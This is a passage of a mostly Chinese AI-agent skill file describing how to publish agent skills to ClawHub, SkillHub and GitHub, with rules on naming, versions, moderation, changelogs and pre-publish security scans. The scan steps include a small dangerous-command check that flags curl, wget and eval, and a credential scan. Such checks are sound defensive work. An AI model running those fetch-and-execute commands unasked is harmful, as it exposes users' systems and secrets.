skill 约 70% 用中文 displayName（如\"微信公众号终极工作台\"、\"PDF识别提取专家\"）\n - **ClawHub（国际）**：英文优先、包容中文。英文 skill 安装量是中文 skill 的 30-120 倍。中国 skill 常见 `-cn` 后缀 + 双语 displayName（如\"CN PPT Outline Writer PPT大纲生成器\"）\n - **GitHub**：国际开源标准，README.md 英文为主、中文为副\n\n **displayName 语言决策规则**：\n - **中文 skill**（触发词/正文是中文）：displayName 用双语并列，格式 ` <中文名>`（如 \"Skill Publisher 技能发布\"）。这样 SkillHub 中文用户和 ClawHub 国际用户都能检索到\n - **英文/双语 skill**：displayName 用英文\n - **slug 始终用 ASCII kebab-case**，不要写中文。中文 skill 可考虑加 `-cn` 后缀便于国际用户识别\n\n **summary / description 语言决策规则**：\n - **中文 skill**：summary 和 description 用中文（含中文触发词）。SkillHub 的 description 即 summary（无独立 summary 字段），中文 description 在 SkillHub 中文用户检索时更有效\n - **英文/双语 skill**：summary 和 description 用英文\n - **触发词内嵌在 description 里**：不要单独字段，直接写 \"触发词：词1、词2、词3\" 或 \"Use when: (1)... (2)...\" 格式\n\n **预扫描检查**（v5.21.0 强化：WARN → FAIL，源自 2026-07-19 data-prompt-coach SkillHub displayName 纯英文事件）：发布前检查 displayName 语言是否符合上述决策规则。**中文 skill 用纯英文 displayName = FAIL（阻断发布）**，要求作者修改为双语并列格式后再发布；英文 skill 用纯中文 displayName = WARN（建议改为英文或双语并列）。**中文 skill 判定标准**：frontmatter description 含中文字符，或触发词列表含中文短语。**判定流程**：① 提取 frontmatter description ② 检测是否含中文字符（Unicode CJK 范围）③ 若含中文且 displayName 不含中文字符 = FAIL ④ FAIL 时报告\"中文 skill 的 displayName '' 是纯英文，违反规则 33。请改为双语并列格式 ' <中文名>'（如 'Data Prompt Coach 数据分析 Prompt 教练'）后重新发布\"。**设计原则**：SkillHub 是中文优先平台（腾讯），纯英文 displayName 在 SkillHub 中文用户检索时命中率低；ClawHub 国际用户也能通过英文部分检索到。双语并列是中文 skill 的最佳实践，不是可选项\n\n34. **ClawHub publish --name 与临时副本命名铁律**（v5.21 新增，源自 2026-07-19 feishu-card-design displayName 错误事件）：`clawhub publish` 命令的 `--name` 参数和临时副本目录命名必须遵守以下铁律，否则 displayName 会被 ClawHub 平台永久锁定为错误值（无法通过新版本更新）。\n\n **铁律 A：`clawhub publish` 必须显式传 `--name`**\n - **强制要求**：每次 `clawhub publish` 必须显式传 `--name \"\"`，不能省略\n - **错误根因**：ClawHub CLI 在未传 `--name` 时，会从 `` 目录名派生 displayName（去前导下划线 → 下划线转空格 → 每段首字母大写），首次发布后 displayName 永久锁定在 slug 上，新版本无法更新\n - **典型反例**：`clawhub publish _tmp_feishu_card_clawhub --slug feishu-card-design --version 1.0.0`（漏传 `--name`，导致 displayName 被派生为 `Tmp Feishu Card Clawhub`）\n - **正确写法**：`clawhub publish --slug feishu-card-design --name \"Feishu Card Design 飞书卡片消息设计规范\" --version 1.0.2`\n - **`--name` 取值规则**：与 SKILL.md frontmatter 的 `displayName` 字段保持完全一致。中文 skill 用双语并列格式（规则 33），英文 skill 用英文\n\n **铁律 B：临时副本目录命名必须用 `-tmp-` 格式**\n - **强制格式**：临时副本目录名必须是 `-tmp-`（如 `feishu-card-design-tmp-clawhub`、`feishu-card-design-tmp-skillhub`）\n - **禁止格式**：`_tmp__`（前缀下划线 + slug 用下划线连接）会被 ClawHub CLI 派生出错误的 displayName（`_tmp_feishu_card_clawhub` → `Tmp Feishu Card Clawhub`）\n - **更优解**：临时副本目录名直接用 `` 本名（如 `feishu-card-design`），放在父目录下区分平台（如 `_tmp_clawhub/feishu-card-design/`）。这样即使漏传 `--name`，派生出的 displayName 也至少是正确的 slug 形式\n - **目录命名 vs --name 的关系**：铁律 A 是根本保障（必须传 --name），铁律 B 是双重保险（即使漏传 --name 也能派生出合理 displayName）\n\n **预扫描检查**：发布前检查 `clawhub publish` 命令是否包含 `--name` 参数，以及临时副本目录名是否符合 `-tmp-` 格式。任一不符合 = Medium finding，要求作者修正后再发布。\n\n **故障案例**：feishu-card-design v1.0.0 首次发布时，临时副本目录命名为 `_tmp_feishu_card_clawhub` 且未传 `--name`，导致 ClawHub 平台 displayName 被永久派生为 `Tmp Feishu Card Clawhub`，与 slug `feishu-card-design` 严重不符。v1.0.2 通过临时副本重命名 + 显式 `--name` 修复，但若新版本无法更新已锁定的 displayName，则需走 `clawhub delete` + 重新首发流程。\n\n35. **ClawHub inspect 延迟双验证**（v5.22 新增，源自 2026-07-20 周度审查建议 + 2026-07-19 v5.20.1 发布实测）：ClawHub `publish` 命令返回成功后，`inspect` 命令依赖的索引服务存在**异步索引延迟**（数分钟到数小时，最长 24h），不能用作\"立即发布是否成功\"的判定。\n\n **正确验证流程**（双验证，禁止立即重试或递增 PATCH）：\n - **立即验证**（publish 后立即执行）：`clawhub inspect --versions` 看版本列表是否包含新版本\n - 若包含 = ✅ 发布成功，索引已同步\n - 若不包含 = ⚠️ **不要立即重试**，记录\"待 24h 后验证\"，按下一步延迟验证\n - **延迟验证**（publish 后 24h 执行）：`clawhub inspect --version --json` 二次确认\n - 若返回版本信息 = ✅ 发布成功，索引已同步\n - 若仍返回 \"Version not found\" = ❌ 真失败，记录待补推\n - **publish 返回的 `OK. Published` 是可信的**，inspect 是验证索引服务而非验证发布本身\n\n **禁止行为**：\n - 🚫 禁止立即递增 PATCH 重试（递增无效，旧 publish 已成功，新版本号反而无法覆盖）\n - 🚫 禁止把\"inspect 立即返回 not found\"判定为\"publish 幻象成功\"\n - 🚫 禁止把\"latestVersion 指针未更新\"判定为\"publish 失败\"（latestVersion 指针是另一个异步更新字段）\n\n **故障案例**（v5.20.1 实测）：publish 5.20.1 返回 OK + 版本 id `k972c1xcw13gwq97m2jhvd7rx18atv8w`，立即 `inspect --version 5.20.1` 返回 \"Version not found\"，`inspect` latestVersion 仍指向 5.20.0。24h 后再 `inspect --version 5.20.1` 已能正常返回版本信息。**这不是\"幻象成功\"，是 ClawHub 平台的异步索引延迟**\n\n36. **ClawHub moderation 状态处理**（v5.22 新增，源自 2026-07-20 周度审查建议）：ClawHub publish 后 skill 可能进入 moderation（审核中）状态，需明确告知用户后续行为：\n\n **moderation 状态判定**：publish 返回成功后，用 `clawhub inspect --json` 检查 `moderation_status` 字段（如有）\n - **approved**（已批准）：✅ 正常状态，skill 可被公开检索和安装\n - **pending**（审核中）：⚠️ skill 已发布但正在审核，公开检索可能受限。告知用户\"skill 已发布，正在 ClawHub 审核中，预计数小时内通过\"\n - **rejected**（已拒绝）：❌ skill 被审核拒绝，需检查拒绝原因（通常是 SkillSpector findings 未修复），修复后递增版本号重新发布\n - **字段缺失或 inspect 异步延迟**：按规则 35 处理，不阻塞流程\n\n **告知用户的措辞**：避免\"审核可能失败\"这类焦虑性表述，用中性措辞\"skill 已提交 ClawHub，正在审核流程中，预计数小时内完成。如被拒绝，会收到具体原因，按原因修复后递增版本号重新发布即可\"\n\n## 执行流程\n\n**读取 `references/publishing-guide.md` 获取完整发布流程。** 以下为摘要。\n\n### Step 0: 前置条件校验（v5.2 新增，v5.4 增强，v5.10 增强，v5.11 增加待补推检查，v5.17 同步 OS 持久存储读取行为移除，v5.17.6 同步 SkillHub token 读取命令清理）\n执行规则17的4项前置条件校验（目录存在/SKILL.md存在/平台登录态/Git配置）+ 规则18的Skill质量门禁 + 规则21的GitHub token有效性校验（v5.17: token 只通过环境变量读取，不再从 OS 持久存储读取）。任何一项不满足 = 中止发布，明确告知用户缺什么、怎么修。全部通过才进入 Step 1。**v5.11 新增**：检查 `docs/knowledge/skill-publisher-log.md` 中是否有待补推版本（规则27），有则提示用户\"检测到 v 未推送到 GitHub，是否先补推？\"。\n\n### Step 1: 仓库结构生成\n生成标准目录：SKILL.md / README.md(中英双语) / CHANGELOG.md / LICENSE(MIT-0) / .gitignore / .claude-plugin/plugin.json。确认作者名、GitHub owner、版本号、ClawHub slug、SkillHub slug。SKILL.md frontmatter 必须同时包含 ClawHub 字段（name/description）和 SkillHub 字段（slug/displayName/version/summary/license）。\n\n### Step 2: 安全审查\n**Pre-Scan（v5.8 强制，v5.11 扩展）**：先用 LS 列出技能目录所有文件（含 .gitignore 中的），检查是否存在凭证文件（config.local.json/.env.local/_*.py/*.log 等）和**临时脚本**（_*.py/_*.ps1，v5.11 新增）。存在 = FAIL，必须删除或移出目录。**注意：Grep (ripgrep) 默认遵守 .gitignore 会跳过这些文件，但 clawhub publish 上传整个目录不看 .gitignore——必须用 LS 检查，不能只依赖 Grep。临时脚本误上传是高频 SkillSpector finding 源（web-to-fim v3.3.0 的 27 个 findings 就是 _gh_push.py 误上传导致）。**\n**四类 Grep 扫描**（凭证/路径/危险命令/YARA 触发词），全部 PASS 才能继续。凭证扫描必须覆盖 `skh_` 前缀（SkillHub token）。分发物三维判定 + ClawHub slug 检查 + ClawHub 自动文件排除 + SkillHub slug 全网唯一性检查 + ClawHub SkillSpector 预扫描（规则25，含 Layer 4 YARA + Layer 5 SSD3/MCP/UserWarnings + v5.12 新增代码 import 扫描对照/依赖版本分级 + v5.13 新增内部矛盾检测/敏感文件扫描同意）。**中英文一致性自动检查（v5.13 新增，源自 kami 审计反馈 — 英文版残留 v2.1.0 内容）**：如果存在 README.md 和 README.en.md，必须自动比对以下三项一致性：① **版本号一致**：两份 README 的版本号必须相同（Grep `version` 或 `vX.Y.Z` 模式）② **触发词数量一致**：两份 README 的触发词列表数量必须相同（数 `**触发词**` 或 `Triggers` 段落项数）③ **警告段落数量一致**：两份 README 的\"用户警告\"段落数量必须相同（数 `⚠️` 或 `Warning` 标记）。不一致 = Medium finding，要求作者同步修改。**设计原则**：规则 2 已要求\"安全修复必须同步中英文版\"，但当前只有原则没自动检查，导致英文版残留旧内容未被发现。本检查用启发式自动比对，覆盖最常见的 3 类不一致\n\n### Step 3: 版本号查重\n- ClawHub：`clawhub inspect ` 查看已发布版本列表，确认待发布版本号不重复。重复则递增 PATCH 后重新确认。\n- SkillHub：版本号在 frontmatter 的 `version` 字段中，更新时保持 slug 不变，递增 version。\n- GitHub：检查 git tag 是否已存在。\n\n### Step 4: GitHub 推送（v5.4 增强降级机制）\n按规则22三级降级：git push → gh CLI → GitHub API（降级方案详见 references/publish-procedures.md，不在此文档化）。创建 Release。git push 持续超时但 API 可达时，直接跳到 Level 3。**GitHub 推送失败时执行规则26（醒目警告）和规则27（待补推版本跟踪）**。\n\n### Step 4.5: 删除临时脚本（v5.11 新增）\nGitHub 推送完成后、ClawHub 发布前，必须删除 Step 4 中可能产生的临时脚本（`_*.py`/`_*.ps1`）。这些脚本用于辅助 GitHub 推送（如 Git Data API 上传），但绝不能被 ClawHub 上传，否则会触发 MCP Tool Poisoning / Context-Inappropriate Capability 等 SkillSpector findings（web-to-fim v3.3.0 教训：_gh_push.py 误上传导致 27 个 findings）。用 LS 确认已删除。\n\n### Step 5: ClawHub 发布（v5.18 增强 inspect --json 验证；scan/dry-run 待 CLI 未来版本支持）\n\n```bash\n# 1. 正式发布（v5.18 现实校准：CLI v0.9.0 实际只支持 `clawhub publish`，文档的 `clawhub skill publish` 是未来版本方向，当前不可用）\n# v5.21 新增 --name 强制要求（规则 34）：必须显式传 --name，否则从目录名派生 displayName 永久锁定错误值\nclawhub publish \\\n --slug \\\n --name \"\" \\\n --version \\\n --tags \"\" \\\n --changelog \"\"\n\n# 2. 验证 Latest 版本（v5.18 新增，CLI v0.9.0 支持 --json）\nclawhub inspect --json | python -c \"import sys,json; d=json.load(sys.stdin); print('Latest:', d.get('latestVersion'))\"\n\n# 3. 主动触发扫描（v5.18 待 CLI 未来版本支持 — 当前 CLI v0.9.0 不支持 `clawhub scan` 命令，只能被动等待 ClawHub 服务端自动扫描）\n# 未来 CLI 升级后可用：clawhub scan --slug --update --output scan-report.zip\n```\n\n**说明**：\n- `clawhub publish` 是 CLI v0.9.0 当前支持的命令（ClawHub docs/cli.md 描述的 `clawhub skill publish` 是未来版本方向，当前 CLI 未实现，2026-07-16 实测确认）\n- `clawhub inspect --json` 程序化验证 Latest 版本（CLI v0.9.0 支持）\n- `clawhub scan --slug --update --output` 主动扫描是未来 CLI 版本方向，当前不可用——只能被动等待 ClawHub 服务端扫描完成后查看 findings\n- `--dry-run` 参数当前 CLI 不支持（docs 描述但未实现）\n\n### Step 6: SkillHub 发布（v5.1 新增，v5.3 加入 TRACE 预检）\n```bash\n# 1. 确认登录态\nskillhub auth whoami\n\n# 2. TRACE 五维度预检（v5.3 新增，规则20）\n# T: 安全红线扫描 + allowed-tools + 国内可用性\n# R: 前置条件 + 质量门禁 + 边界输入 + 异常处理\n# A: 触发测试（正例 + 反例）\n# C: Schema（4模块/200行/示例/实习生测试）\n# E: 增量价值\n# 任何维度 FAIL = 中止 SkillHub 发布，报告问题\n\n# 3. 临时移除不支持的文件类型（.gitignore/LICENSE/.claude-plugin/.github）\n# 备份到 skill 目录外（规则23），发布后立即恢复\n# 如果文件被占用无法移除（规则24），改用 robocopy 临时副本方式发布\n\n# 4. dry-run 预检（必须通过）\nskillhub publish --dry-run\n\n# 5. 正式发布（目录或临时副本目录）\nskillhub publish --changelog \"变更说明\"\n\n# 6. 立即恢复被移除的文件 / 清理临时副本\n```\n\n> **Windows 注意**：如果 `skillhub` 命令报 exit code 9009，是因为 skillhub.bat 中调用了 `python3`（Windows 上只有 `python`）。建议用户手动修复：将 `C:\\Users\\\\.local\\bin\\skillhub.bat` 中的 `python3` 改为 `python`，或直接用 `python \"%USERPROFILE%\\.skillhub\\skills_store_cli.py\"` 替代。**此为用户手动环境配置，agent 不自动执行。**\n> **文件类型限制**：SkillHub 拒绝 `.gitignore`、`LICENSE`、`.claude-plugin/`、`.github/`，发布前必须临时移除，发布后立即恢复。\n> **TRACE 预检**：SkillHub 平台会对上架技能执行 TRACE 五维度检测，本技能在发布前预执行同样的检测，避免上架后被扣分。\n\n### Step 7: 发布后验证（v5.11 增加三平台一致性校验）\nGitHub 文件列表检查 + `clawhub inspect ` 确认 + SkillHub 状态检查。**Post-Publish 凭证验证（v5.8 强化）**：`clawhub inspect ` 的文件列表中不得包含 config.local.json/.env.local/_*.py/*.log 等凭证和临时文件，如发现说明 Pre-Scan 失效，必须立即删除该版本并重新发布。检查 ClawHub Short summary 是否与 frontmatter description 一致，不一致则递增版本号重新发布。**三平台一致性校验（v5.11 新增，规则28）**：对比 GitHub/ClawHub/SkillHub 三平台版本号，不一致时醒目警告 `⚠️ 三平台版本不一致`，一致时确认 `✅ 三平台版本一致`。**GitHub 失败醒目警告（v5.11 新增，规则26）**：如果 GitHub 推送失败，在结果表格后单独显示醒目警告，不能只靠表格中的 ❌ 标记。\n\n### Step 8: 本地安装目录同步（v5.0 新增，v5.11 增强排除规则，v5.16 移除 LOCAL-ONLY 标记，v5.18.2 加操作点警告 — 遵守 SkillSpector Missing User Warnings）\n三平台发布完成后，将开发目录的 skill 同步到 TRAE 安装目录 `c:\\Users\\Administrator\\.trae-cn\\skills\\`，确保本地使用的是最新版本。\n\n> ⚠️ **操作点警告（v5.18.2 新增）**：以下命令会**覆盖**安装目录 `c:\\Users\\Administrator\\.trae-cn\\skills\\` 中已有版本的文件。如需保留旧版本，请在执行前手动备份。执行 `sync_skills.py` 前建议先用 `--dry-run` 预览将变更的文件列表。\n\n```bash\n# 同步指定 skill\npython sync_skills.py \n\n# 或同步所有 skill（慎用，会覆盖所有安装目录）\npython sync_skills.py\n```\n**注意**：sync_skills.py 位于项目根目录 `/sync_skills.py`，会自动排除 `.git`/`.gitignore`/`_backup`/`__pycache__`/`.clawhub`/临时脚本（`_*.py`/`_*.ps1`）/运行时文件（`data`/`saved`/`logs`）/执行日志（`skill-publisher-log.md`）等。同步前可用 `--dry-run` 预览。\n\n### Step 9: 发布日志记录（v5.0 新增，v5.11 增强待补推跟踪，v5.16 简化经验采集）\n**A. 发布日志记录**：在 `docs/knowledge/skill-publisher-log.md` 中追加本次发布条目，格式：\n```markdown\n## [YYYY-MM-DD] v — 三平台发布（<一句话主题>）\n\n### 发布概况\n- 技能：\n- 版本： → \n- 平台：GitHub ✅（commit + tag v + Release）| ClawHub ✅（）| SkillHub ✅（skillId=）\n- sync_skills.py 已执行：✅（同步到 c:\\Users\\Administrator\\.trae-cn\\skills\\）\n\n### 遇到的问题 / SkillSpector findings（如有）\n...\n\n### 对 skill-publisher 的改进建议（如有）\n...\n```\n**待补推版本记录**（规则27）：如果 GitHub 推送失败，在 log.md 中新增 `### 待补推版本` 字段，记录技能名、版本号、失败原因、失败日期。下次发布 Step 0 时优先补推。\n\n**B. 经验沉淀入口**（v5.13 新增，v5.16 简化为入口提示）：如本次发布涉及重大变更或多轮 finding 修复，建议用户说\"复盘\"触发 EVOLVE 阶段，经验沉淀流程由 EVOLVE 阶段负责，不在本技能中展开。\n\n\n## 示例\n\n### 示例1：常见输入（完整 Skill 目录发布）\n\n**用户输入**：\"帮我把 wx-peitu 技能发布到三平台，版本号 7.1.0\"\n\n**前置条件校验**：\n- ✅ 目录 `/wx-peitu` 存在且非空\n- ✅ SKILL.md 存在\n- ✅ ClawHub 已登录（clawhub whoami 通过）\n- ✅ SkillHub 已登录（skillhub auth whoami 通过）\n- ✅ Git 配置完整\n\n**质量门禁**：\n- ✅ SKILL.md 180行（<300）\n- ✅ description 存在且含触发词\n- ✅ description 含 Do NOT 范围声明\n\n**安全审查结果**：\n| 审查项 | 状态 | 详情 |\n|--------|------|------|\n| 凭证泄露 | PASS | 无 token/api_key/secret 硬编码 |\n| 本地路径 | PASS | 无 C:\\ 或 D:\\ 绝对路径 |\n| 危险命令 | PASS | 无 curl/wget/eval |\n| 分发物判定 | PASS | 无 __pycache__/.clawhub/skill-card.md |\n\n**版本号查重结果**：\n| ClawHub 已发布版本 | 待发布版本 | 状态 |\n|-------------------|-----------|------|\n| v7.0.0 | v7.1.0 | 可发布 |\n\n**发布结果**：\n| 平台 | 地址 | 版本 | 状态 |\n|------|------|------|------|\n| GitHub | github.com/EdwardWason/wx-peitu | v7.1.0 | 成功 |\n| ClawHub | clawhub.ai/skills/wx-peitu | v7.1.0 | 成功 |\n| SkillHub | skillhub.cn/skills/wx-peitu | v7.1.0 | 成功 |\n\n### 示例2：边界输入（目录不存在）\n\n**用户输入**：\"发布 my-new-skill\"\n\n**前置条件校验失败**：\n```\n❌ 目录不存在或为空：`/my-new-skill`\n请确认 Skill 路径，或使用完整路径指定。\n```\n\n**中止发布，不继续执行后续步骤。**\n\n### 示例3：边界输入（SKILL.md 缺失）\n\n**用户输入**：\"发布 ./my-project\"\n\n**前置条件校验**：\n- ✅ 目录存在且非空\n- ❌ 未找到 SKILL.md，这不是一个有效的 Skill 目录\n\n**中止发布，提示用户**：\n```\n❌ 目录 ./my-project 下未找到 SKILL.md。\n这不是一个有效的 Skill 目录。\n请确认目录路径，或先使用 skill-forge 创建 Skill。\n```\n\n### 示例4：边界输入（Skill 质量不达标）\n\n**用户输入**：\"发布 ./my-skill，版本 1.0.0\"\n\n**前置条件校验**：✅ 全部通过\n\n**质量门禁失败**：\n```\n❌ SKILL.md 过长（350行），建议精简到 200 行以内再发布。\n❌ description 缺少 Do NOT 范围声明，可能导致误触发。\n请修复以上问题后再发布。可调用 skill-forge 进行评估和优化。\n```\n\n**中止发布，建议先修复。**\n\n### 示例5：异常输入（未登录 ClawHub）\n\n**用户输入**：\"发布 ./wx-peitu\"\n\n**前置条件校验失败**：\n```\n❌ ClawHub 未登录，请先执行：\n clawhub login --token --no-browser\n```\n\n**中止发布，不继续执行后续步骤。**\n\n### 示例6：复杂输入（未指明哪个 Skill）\n\n**用户输入**：\"发布我的技能\"\n\n**扫描工作目录**：\n```\n找到以下 Skill 目录：\n1. `/wx-peitu` (含 SKILL.md)\n2. `/pic-book` (含 SKILL.md)\n3. `/web-to-fim` (含 SKILL.md)\n\n请指定要发布的 Skill 名称或序号（逐个发布，不支持批量）。\n```\n\n**等待用户选择后继续。**\n\n### 示例7：复杂输入（路径模糊）\n\n**用户输入**：\"发布 wx-peitu\"\n\n**搜索匹配目录**：\n```\n找到 1 个匹配目录：`/wx-peitu`\n自动使用此目录继续发布。\n```\n\n### 示例8：SkillHub TRACE 预检失败\n\n**用户输入**：\"发布 ./my-skill 到 SkillHub\"\n\n**TRACE 预检结果**：\n```\nT (Trust): ✅ PASS\nR (Reliability): ✅ PASS\nA (Applicability): ❌ FAIL — description 缺少 Do NOT 范围声明\nC (Compliance): ❌ FAIL — 缺少\"示例\"模块\nE (Effectiveness): ✅ PASS\n\nTRACE 预检未通过（A/C 失败），中止 SkillHub 发布。\n建议：先补全 Do NOT 声明和示例模块，再重新发布。\n```\n\n**中止 SkillHub 发布，GitHub 和 ClawHub 已发布的保留。**\n\n## References\n\n- **[`references/publishing-guide.md`](references/publishing-guide.md)** — 完整发布流程。仓库结构模板、安全审查、版本号查重、GitHub API降级、ClawHub CLI、SkillHub CLI、PowerShell兼容、故障排查。\n- **[`references/skillhub-publishing.md`](references/skillhub-publishing.md)** — SkillHub 发布详细流程。CLI 安装、登录、frontmatter 兼容、dry-run 预检、正式发布、Windows 兼容、故障排查。\n- **[`references/security-audit.md`](references/security-audit.md)** — 三层安全扫描（含扩展凭证模式 + SKILLHUB_TOKEN）+ 分发物判定 + ClawHub 自动文件排除 + 修复指南。\n- **[`references/publish-procedures.md`](references/publish-procedures.md)** — 推送降级链 + gh CLI + Release + ClawHub + SkillHub + 版本号查重 + 故障排查。\n- **[`references/change-detection.md`](references/change-detection.md)** — 变更检测 + 版本 bump + Conventional Commits。\n- **[`references/changelog-generation.md`](references/changelog-generation.md)** — git log 提取 + CHANGELOG 生成 + Release Notes 转换。\n- **[`references/repo-structure.md`](references/repo-structure.md)** — 仓库结构模板 + README 21 章节 + 智能适配 + .gitignore 模板 + frontmatter 兼容模板。\n\nFile v5.22.1:_meta.json\n\n{\n \"ownerId\": \"kn75zj7vzdyvap84adxa8heyyd82f5eh\",\n \"slug\": \"skill-publisher-ai\",\n \"version\": \"5.22.1\",\n \"publishedAt\": 1785477276736\n}\n\nFile v5.22.1:references/change-detection.md\n\n# Change Detection & Version Bump Reference\n\nComplete procedures for detecting changes between local and remote, and automatically calculating version bumps.\n\n**When to read**: When entering Phase 2B (update & iteration). Read this file in full before executing any version bump.\n\n---\n\n## Change Detection\n\n### Step 1: Detect Local Changes\n\n```bash\n# Check if there are uncommitted changes\ngit status --short\n\n# Check diff between local and remote\ngit fetch origin main\ngit log origin/main..HEAD --oneline\n\n# If no remote yet, check diff from last tag\ngit describe --tags --abbrev=0 2>/dev/null\ngit log ..HEAD --oneline\n```\n\n### Step 2: Categorize Changed Files\n\n```bash\n# List changed files with categories\ngit diff --name-only origin/main..HEAD\n```\n\n**File Category Mapping**:\n\n| File Pattern | Category | Version Impact |\n|-------------|----------|---------------|\n| `SKILL.md` frontmatter (`version`, `name`, `description`) | **Breaking** | MAJOR |\n| `SKILL.md` rules (added/removed rules) | **Feature** | MINOR |\n| `SKILL.md` workflow steps (added/removed steps) | **Feature** | MINOR |\n| `SKILL.md` persona/task/scope changes | **Feature** | MINOR |\n| `references/*.md` (new files) | **Feature** | MINOR |\n| `references/*.md` (content changes) | **Enhancement** | MINOR or PATCH |\n| `README.md` / `README.en.md` | **Docs** | PATCH |\n| `CHANGELOG.md` | **Meta** | No bump |\n| `.github/**` | **Community** | PATCH |\n| `.claude-plugin/plugin.json` | **Meta** | No bump (follows SKILL.md) |\n| `LICENSE` / `.gitignore` | **Meta** | No bump |\n\n### Step 3: Determine Version Bump\n\n**Decision Tree**:\n\n```\nAnalyze all changed files\n │\n ├── Any SKILL.md frontmatter breaking change?\n │ (version/name/description changed, or rules removed)\n │ → MAJOR bump (X.0.0)\n │\n ├── Any new rules / new workflow steps / new reference files?\n │ → MINOR bump (0.X.0)\n │\n ├── Any reference content changes / new community templates?\n │ → MINOR bump (0.X.0) if significant\n │ → PATCH bump (0.0.X) if minor\n │\n └── Only README / docs / meta changes?\n → PATCH bump (0.0.X)\n```\n\n**Significance Test for \"MINOR or PATCH\"**:\n\n| Criteria | MINOR | PATCH |\n|----------|-------|-------|\n| New reference file added | ✅ | |\n| Reference file content significantly rewritten | ✅ | |\n| Reference file typo fixes / minor clarifications | | ✅ |\n| New community template added | ✅ | |\n| README section restructured | | ✅ |\n| Badge / link updates | | ✅ |\n\n### Step 4: Calculate New Version\n\n```bash\n# Get current version from SKILL.md frontmatter\nCURRENT_VERSION=$(grep '^version:' SKILL.md | sed 's/version: *\"\\(.*\\)\"/\\1/')\n\n# Calculate new version\n# MAJOR: 7.0.0 → 8.0.0\n# MINOR: 7.0.0 → 7.1.0\n# PATCH: 7.0.0 → 7.0.1\n```\n\n**Version Calculation Rules**:\n- Pre-release versions (e.g., `7.0.0-beta`) are not supported — always use stable semver\n- If current version has no PATCH component (e.g., `7.0`), treat as `7.0.0`\n- Version must always be 3 components: `MAJOR.MINOR.PATCH`\n\n### Step 5: Confirm with User\n\n**Always confirm the version bump with the user before proceeding.**\n\nPresent the analysis:\n\n```\n变更分析：\n- SKILL.md: 新增 2 条规则，修改 1 条规则\n- references/workflow.md: 新增 Step G 截图优化\n- README.md: 新增已知限制章节\n\n推荐版本: 7.0.0 → 7.1.0 (MINOR bump)\n原因: 新增规则和工作流步骤\n\n确认？(可以修改版本号)\n```\n\n---\n\n## Version Bump Execution\n\n### Step 1: Update version in SKILL.md frontmatter\n\n```yaml\n# Before\nversion: \"7.0.0\"\n\n# After\nversion: \"7.1.0\"\n```\n\n### Step 2: Update plugin.json\n\n```json\n{\n \"version\": \"7.1.0\"\n}\n```\n\n### Step 3: Verify Version Consistency\n\n**Three-file sync check** (Rule 12):\n\n```bash\n# Extract versions\nSKILL_VERSION=$(grep '^version:' SKILL.md | sed 's/version: *\"\\(.*\\)\"/\\1/')\nPLUGIN_VERSION=$(grep '\"version\"' .claude-plugin/plugin.json | sed 's/.*: *\"\\(.*\\)\".*/\\1/')\nCHANGELOG_VERSION=$(head -20 CHANGELOG.md | grep -oP '\\[\\K[0-9]+\\.[0-9]+\\.[0-9]+' | head -1)\n\n# Compare\nif [ \"$SKILL_VERSION\" != \"$PLUGIN_VERSION\" ]; then\n echo \"ERROR: SKILL.md ($SKILL_VERSION) != plugin.json ($PLUGIN_VERSION)\"\n exit 1\nfi\n```\n\n**If versions don't match**: Update all to the new version. SKILL.md is the source of truth.\n\n---\n\n## Conventional Commits Guide\n\n### Commit Message Format\n\n```\n(): \n\n\n```\n\n### Types\n\n| Type | Version Impact | Description |\n|------|---------------|-------------|\n| `feat` | MINOR | New feature / rule / workflow step |\n| `fix` | PATCH | Bug fix / rule correction |\n| `docs` | PATCH | README / documentation changes |\n| `style` | PATCH | Formatting, no content change |\n| `refactor` | PATCH | Restructure without behavior change |\n| `test` | PATCH | Add or update tests |\n| `chore` | No bump | Build / tool / meta changes |\n| `breaking` | MAJOR | Breaking change (or `feat!:` / `fix!:`) |\n\n### Scope Examples\n\n| Scope | Files |\n|-------|-------|\n| `skill` | SKILL.md |\n| `docs` | README.md, README.en.md, CHANGELOG.md |\n| `design` | references/design-system.md, references/assets.md |\n| `workflow` | references/workflow.md |\n| `quality` | references/quality-gates.md |\n| `community` | .github/ |\n| `meta` | plugin.json, .gitignore, LICENSE |\n\n### Examples\n\n```bash\ngit commit -m \"feat(skill): add provenance block and version sync rule\"\ngit commit -m \"fix(docs): correct Swiss palette hex values in README.en.md\"\ngit commit -m \"docs(design): add 24 layout recipe section to README\"\ngit commit -m \"feat(workflow)!: change screenshot delivery from React to HTML\"\n```\n\n**Breaking change indicator**: `!` after scope means MAJOR bump.\n\n---\n\n## Update Workflow Summary\n\n```\n用户说\"发布技能更新 wx-peitu\" / \"迭代技能发布 react-design-draft\"\n │\n ├── Step 1: git fetch + git diff → 检测变更文件\n │\n ├── Step 2: 按文件类别映射 → 判断变更类型\n │\n ├── Step 3: 决策树 → 推荐 MAJOR/MINOR/PATCH\n │\n ├── Step 4: 向用户确认版本号\n │\n ├── Step 5: 三文件同步更新版本号\n │ (SKILL.md → plugin.json → CHANGELOG.md)\n │\n ├── Step 6: 自动生成 CHANGELOG 条目\n │ (Read references/changelog-generation.md)\n │\n ├── Step 7: 安全审查（三类扫描）\n │\n ├── Step 8: 推送变更\n │ (git push → gh CLI → REST API 降级)\n │\n ├── Step 9: 创建/更新 Release\n │\n └── Step 10: 更新 ClawHub 版本\n```\n\nFile v5.22.1:references/changelog-generation.md\n\n# Changelog Generation Reference\n\nComplete procedures for automatically generating CHANGELOG entries from git history and change analysis.\n\n**When to read**: When entering Phase 2B (update & iteration), after version bump is confirmed. Read this file in full before generating CHANGELOG entries.\n\n---\n\n## Auto-Generation from Git Log\n\n### Step 1: Extract Commit History\n\n```bash\n# Get commits since last version tag\nLAST_TAG=$(git describe --tags --abbrev=0 2>/dev/null)\nif [ -z \"$LAST_TAG\" ]; then\n # No tags yet, get all commits\n git log --oneline\nelse\n git log ${LAST_TAG}..HEAD --oneline\nfi\n```\n\n### Step 2: Parse Commit Messages\n\n**Conventional Commits parsing**:\n\n| Pattern | Category | Example |\n|---------|----------|---------|\n| `feat(scope):` | Added | `feat(skill): add provenance block` |\n| `fix(scope):` | Fixed | `fix(docs): correct palette hex values` |\n| `docs(scope):` | Changed (docs) | `docs(design): add layout recipe section` |\n| `style(scope):` | Changed (style) | `style: format README tables` |\n| `refactor(scope):` | Changed | `refactor(workflow): restructure Step C` |\n| `feat(scope)!:` or `breaking:` | Breaking Changes | `feat(skill)!: change delivery pipeline` |\n| `chore(scope):` | Skip (meta) | `chore: update .gitignore` |\n\n**Non-conventional commits fallback**:\n\nIf commit messages don't follow Conventional Commits, analyze the actual file changes:\n\n| Changed Files | Category | Entry 